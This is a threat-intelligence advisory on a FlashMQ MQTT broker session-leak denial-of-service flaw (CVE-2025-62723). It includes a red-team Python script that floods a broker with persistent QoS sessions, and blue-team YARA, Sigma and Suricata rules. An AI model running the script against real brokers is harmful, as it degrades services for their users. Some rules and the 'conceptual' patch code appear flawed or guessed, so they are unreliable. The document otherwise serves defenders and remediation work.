CVE-2025-62723

Executive Summary

CVE-2025-62723 is a medium-severity vulnerability in FlashMQ, an MQTT broker/server designed for multi-CPU environments. The flaw allows any authenticated user to create sessions that collect QoS (Quality of Service) messages. When these messages are not delivered to a client, they are not released upon eventual session expiration, leading to a resource exhaustion condition. This can result in a denial of service (DoS) by consuming broker memory and storage resources. The vulnerability affects versions prior to 1.23.2 and has a CVSS score of 4.3. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

FlashMQ is a C++ application distributed as source code or pre-compiled binaries. Users should verify the integrity of downloaded packages using checksums provided by the vendor. The vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the broker's session management logic.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker needs valid credentials to authenticate to the broker.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data is exposed.
• Integrity Impact: None (I:N) – No data is modified.
• Availability Impact: Low (A:L) – Resource exhaustion can degrade performance but not completely halt the service.

Threat Level: Medium. The vulnerability requires authentication, but once authenticated, an attacker can cause resource exhaustion over time. The lack of public exploits reduces immediate risk, but the unpatched status demands attention.

Deep Dive & Mechanics

FlashMQ uses sessions to manage client connections and QoS message delivery. QoS (Quality of Service) levels in MQTT define the guarantee of message delivery:

• QoS 0: At most once delivery.
• QoS 1: At least once delivery.
• QoS 2: Exactly once delivery.

When a client subscribes to a topic with QoS 1 or 2, the broker stores messages until the client acknowledges receipt. If the client disconnects, the session persists (if clean session is false) and messages are retained for future delivery.

The vulnerability lies in the session cleanup mechanism. When a session expires (due to inactivity or explicit deletion), the broker should release all stored QoS messages. However, in versions prior to 1.23.2, messages that were not sent to the client (e.g., because the client never reconnected) are not freed. This causes a memory leak and disk space exhaustion if persistent storage is used.

An authenticated attacker can exploit this by:

1. Connecting to the broker with a clean session set to false.
2. Subscribing to a topic with QoS 1 or 2.
3. Disconnecting without acknowledging any messages.
4. Repeating the process to create multiple sessions, each accumulating undelivered messages.

Over time, the broker's memory and storage fill up, leading to degraded performance or crash.

Vulnerable vs. Patched Code

The fix in version 1.23.2 ensures that all QoS messages associated with an expired session are properly released. The vulnerable code likely had a missing or incomplete cleanup routine in the session destructor or expiration handler.

Vulnerable Code (Conceptual):

void Session::expire() {
    // Remove session from active list
    // BUT: does not release pending QoS messages
    delete this;
}

Patched Code (Conceptual):

void Session::expire() {
    // Release all pending QoS messages
    for (auto& msg : pendingQoS) {
        delete msg;
    }
    pendingQoS.clear();
    // Remove session from active list
    delete this;
}

The exact patch details are not publicly available, but the vendor's advisory confirms the fix.

Exploitation & Lab Setup

Red Team

Objective: Exhaust broker resources by creating multiple sessions with undelivered QoS messages.

Prerequisites:

• Access to a FlashMQ broker (version < 1.23.2)
• Valid credentials (username/password or client certificate)

Steps:

1. Install an MQTT client (e.g., mosquitto_pub or paho-mqtt).
2. Create a script that repeatedly connects, subscribes, and disconnects without acknowledging messages.

Example Script (Python using paho-mqtt):

import paho.mqtt.client as mqtt
import time

def on_connect(client, userdata, flags, rc):
    print("Connected with result code "+str(rc))
    client.subscribe("test/topic", qos=2)

def on_message(client, userdata, msg):
    # Do not acknowledge to keep message pending
    pass

broker = "target_ip"
port = 1883
username = "attacker"
password = "password"

for i in range(1000):
    client = mqtt.Client(client_id=f"attacker_{i}", clean_session=False)
    client.username_pw_set(username, password)
    client.on_connect = on_connect
    client.on_message = on_message
    client.connect(broker, port, 60)
    client.loop_start()
    time.sleep(0.1)
    client.disconnect()
    client.loop_stop()

Expected Outcome: Broker memory usage increases, eventually causing slowdown or crash.

Blue Team

Detection:

• Monitor broker memory and disk usage for unusual growth.
• Look for multiple sessions from the same user with high pending message counts.
• Use the detection rules below.

Mitigation:

• Upgrade to FlashMQ 1.23.2 or later.
• Implement rate limiting on session creation per user.
• Set maximum session duration and message retention limits.
• Monitor logs for repeated connect/disconnect patterns.

Indicators of Compromise (IOCs)

• Network: Multiple MQTT CONNECT packets from the same IP with different client IDs.
• Host: High memory usage by the FlashMQ process (flashmq).
• Logs: Repeated entries like Session expired but pending QoS messages not released (if logging is enabled).
• File System: Growth of persistent storage files (if enabled) without corresponding client activity.

Detection Engineering

YARA Rule

rule CVE_2025_62723_FlashMQ_Session_Leak {
    meta:
        description = "Detects FlashMQ binary versions vulnerable to CVE-2025-62723"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62723"
    strings:
        $vuln_func = "Session::expire" ascii wide nocase
        $missing_cleanup = "pendingQoS" ascii wide nocase
    condition:
        $vuln_func and not $missing_cleanup
}

Sigma Rule

title: FlashMQ Session Exhaustion Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple rapid connect/disconnect patterns from the same source IP to FlashMQ broker
author: Valters IT
date: 2025/04/10
logsource:
    category: application
    product: flashmq
detection:
    selection:
        EventID: 1001  # Example: MQTT CONNECT event
        ClientID|startswith: "attacker_"
    condition: selection | count() by SourceIP > 100 within 60 seconds
falsepositives:
    - Legitimate load testing
level: medium

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 1883 (msg:"CVE-2025-62723 FlashMQ Session Exhaustion Attempt"; flow:to_server,established; content:"|10|"; depth:1; content:"|00 04|"; distance:1; within:2; content:"CONNECT"; nocase; pcre:"/ClientIdentifier\x00([^\x00]+)\x00/"; threshold:type both, track by_src, count 50, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade FlashMQ to version 1.23.2 or later.
2. Workaround: If upgrade is not possible, restrict authenticated users and set low session timeouts.
3. Monitoring: Enable detailed logging and monitor for session leaks.
4. Network: Use firewall rules to limit access to the MQTT broker to trusted IPs only.
5. Configuration: Set max_sessions_per_user and max_qos_messages_per_session in the broker configuration.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert